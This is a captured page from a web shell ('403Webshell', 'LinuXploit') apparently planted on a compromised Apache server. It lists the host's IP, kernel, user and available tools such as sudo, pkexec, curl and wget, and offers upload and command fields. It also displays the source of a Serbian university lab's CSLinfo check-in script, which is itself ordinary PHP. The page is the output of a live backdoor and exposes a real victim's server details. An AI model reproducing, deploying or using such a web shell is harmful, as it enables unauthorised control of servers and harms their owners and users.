403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/cslinfo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/cslinfo/index.php
<?php
error_reporting(E_ALL & ~E_WARNING & ~E_NOTICE & ~E_DEPRECATED);
ini_set('display_errors', 0);
/**
* Glavna stranica CSLinfo aplikacije.
* 
* @package CSLInfo
* @subpackage Dispecer
* @category Indeks
* @author Marina Terzic <terzic.marina@gmail.com>
* @copyright Laboratorija za racunarsku tehniku, Tehnicki fakultet Cacak <csl@tfc.kg.ac.rs>
*/

/**
* Zastita fajlova koji se include-uju od direktnog pristupa
*/
define('CSL_OK', '1');
/*
* Ucitavanje glavnog konfiguracionog fajla a sa njime i globalnih funkcija ('funkcije.php')
*/
require_once "config.php";

/*
* Ukoliko je prosledjena forma sa identifikacionim kodom...
*/
if(isset($_POST['idKod'])){
	/*
	* ...proverava se ispravnost prosledjenih podataka (tacnije samo identifikacionog koda)
	*/
	$greske = formaProveraIdentifikacija($_POST);
	/*
	* Ukoliko je prosledjeni identifikacioni kod u redu...
	*/
	if(!in_array(true, $greske)){
		/*
		* TReba nam konekcija...
		*/
		$konekcija = upit('', true);
		/*
		* ... vrsi se upit u bazi i trazi se id clana ('idClan') kome odgovara uneti identifikacioni kod.
		*/
		$sql = "SELECT idClana FROM clanovi WHERE idKod='".mysqli_real_escape_string($konekcija,$_POST['idKod'])."'";
		$rezultat = upit($sql);
		/*
		* '$rezultat' sada sadrzi rezultate upita u obliku MySQL resurs tipa podataka.
		* Tom tipu podataka ne moze se pristupiti direktno jer je u pitanju slozeni tip podataka.
		* Zato se sa 'mysql_fetch_assoc' funkcijom sa svakim poyivom cita po jedan zapis (red) iz rezultata.
		* Posto se ocekuje samo jedan rezultat mysql_fetch_assoc se poziva samo jednom.
		*/
		$zapis = mysqli_fetch_assoc($rezultat);
		/*
		* '$zapis' je sada tipa asocijativni niz koji ima samo jedan element 
		* ($zapis['idClana'] = 'vrednost idClana za uneti idKod').
		*
		* Funkcija promenaStatusa() prijavljuje ili odjavljuje clana sa unetim idKodom a kao povratnu vrednost
		* vraca '$tipDogadjaja' tipa string koji moze da ima samo vrednosti 'odjava' ili 'prijava'. 
		*/
		$tipDogadjaja = promenaStatusa($zapis['idClana'], 'kod');
		/*
		* Nakon izmene statusa vrsi se automatsko preusmeravanje na glavnu stranicu sa ispisom poruke
		* koja sledi za 'prijavu' odnosno za 'odjavu' clanova.
		*/
		header("Location: index.php?poruka={$tipDogadjaja}KodomUspesna");
		exit(); //posle bilo kakvog headera dobro je odmah prekinuti parsiranje stranice komandom exit
	}
}
/*
* Prikaz sablona (templatea) naslovne stranice.
*/
require_once TEMPLATE_FOLDER.'index.tpl.php';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit